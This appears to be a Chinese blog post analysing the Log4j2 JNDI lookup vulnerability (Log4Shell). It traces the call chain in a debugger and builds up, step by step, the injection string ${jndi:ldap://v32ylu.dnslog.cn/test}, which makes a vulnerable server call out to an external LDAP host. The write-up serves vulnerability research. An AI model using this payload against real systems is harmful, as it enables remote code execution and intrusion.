目录

Log4j2反序列化分析

目录
警告
本文最后更新于 2022-08-15,文中内容可能已过时。

这篇文章内容主要是记录当时获取到漏洞情报后分析的思路,所以对该组件和相关的知识点没有补充(后面更新)

通过搜索漏洞触发关键(字\函数)如:lookup()等函数来获取大部分可能存在的调用点

目前我并没有太好的方法可以批量来进行验证,所以手动一个个看

从第一个开始分析

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496197-image-20220731230124-jgurst8.png

org/apache/logging/log4j/core/lookup/JndiLookup.java->

org/apache/logging/log4j/core/lookup/AbstractLookup.java->

org/apache/logging/log4j/core/lookup/Interpolator.java->

org/apache/logging/log4j/core/lookup/StrSubstitutor.java

这是向上跟踪的,直到StrSubstitutor.java文件中的jndi调用点,中存在lookup(xx)可控参数(variableName)

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496197-image-20220731230413-l0fk0un.png

继续向上跟踪->org/apache/logging/log4j/core/lookup/StrSubstitutor.java

在调用函数处下断点

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496198-image-20220731230736-1phu2qb.png

发现调用logger并不会触发,那就继续向上看,发现进入循环需要对字符串进行某种匹配

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496198-image-20220731231329-abc9tie.png

通过对prefixMatcher追踪发现,他的值是动态变化的

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496198-image-20220731231447-gmd7il4.png

对set和赋值点进行断点

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496198-image-20220731231620-d0mscvi.png

发现还是没有成功截断

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496198-image-20220731231816-n5fu5xb.png

继续向上追踪

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496198-image-20220731233312-54lazur.png

到这里因为太多链需要追,所以对这几个函数都进行断点

org/apache/logging/log4j/core/pattern/LiteralPatternConverter.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496199-image-20220731233440-o6y3m9g.png

并不会进入replace

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496199-image-20220731233657-ee5goa4.png

当截断停留在

org/apache/logging/log4j/core/pattern/MessagePatternConverter.java

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496199-image-20220731234210-7urcx6n.png

会将我们传入的xxx追加到文本后面

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496199-image-20220731234258-4keabhr.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496199-image-20220731234404-1izxwgh.png

继续向下看,想进入replace还得需要满足程序中传入的字符串某一段的值[n]=$&[n+1]={

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496200-image-20220731234533-fn39kpr.png

传入${xxxx后成功进入if

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496200-image-20220731234630-7vwhwpx.png

继续跟进replace

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496200-image-20220731234751-a10d6fh.png

成功进入一开始分析的jndi利用函数

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496200-image-20220731234858-qb1xd7k.png

这时候就可以看到,prefixMatchersuffixMatcher两个到底获取的是什么了

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496200-image-20220731235027-vum3m3b.png

进入第一个match

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496200-image-20220731235127-55840d1.png

匹配${起始位置

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496200-image-20220731235222-6x9ix6s.png

继续跟进第二个match

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496200-image-20220731235451-yhchewb.png

用来判断}的位置

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496201-image-20220731235527-2h6tcob.png

因为我们这次并没有},所以使用${xxxx}重新调试

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496201-image-20220801000310-bwlzzoc.png

继续看

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496201-image-20220801000411-xnpdlq4.png

对:做了判断,但下面的一些关键字并不知道是做什么的

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496201-image-20220801000438-0d8to72.png

使用${:xxxx}重新调试

因为这里获取到的prefix为"“导致下面的lookup if过不去,调试进

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496201-image-20220801000738-mpxzj0m.png

看内存中strLookupMap的值

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496201-image-20220801000900-44rh58z.png

跟我们上面搞到的基本差不多

那这次再换payload:${date:xxxx}看看会发生什么

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496201-image-20220801001113-apg9w8x.png

直接进入了DateLookup

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496202-image-20220801001312-9k4kjvl.png

回过头发现这里的lookup是直接从上面的map中拿到的

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496202-image-20220801001407-vcrtrq7.png

因为map中有jndi,那我们的payload继续修改:${jndi:xxxx}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496202-image-20220801001629-uqkjyvj.png

发现传入的值被修改为java:comp/env/xxxx

进convertJndiName发现存在判断,当传入的字符中没有:和env/xxx前缀时就会触发if,导致穿进去的数据被修改

因为后面直接用jndiManager.lookup,所以我们这里的payload构造为:${jndi:ldap://v32ylu.dnslog.cn/test}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496202-image-20220801002122-jrb8upw.png

成功接收(dnslog收不到,所以换了vps)

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660496202-image-20220801003040-w8hd6f4.png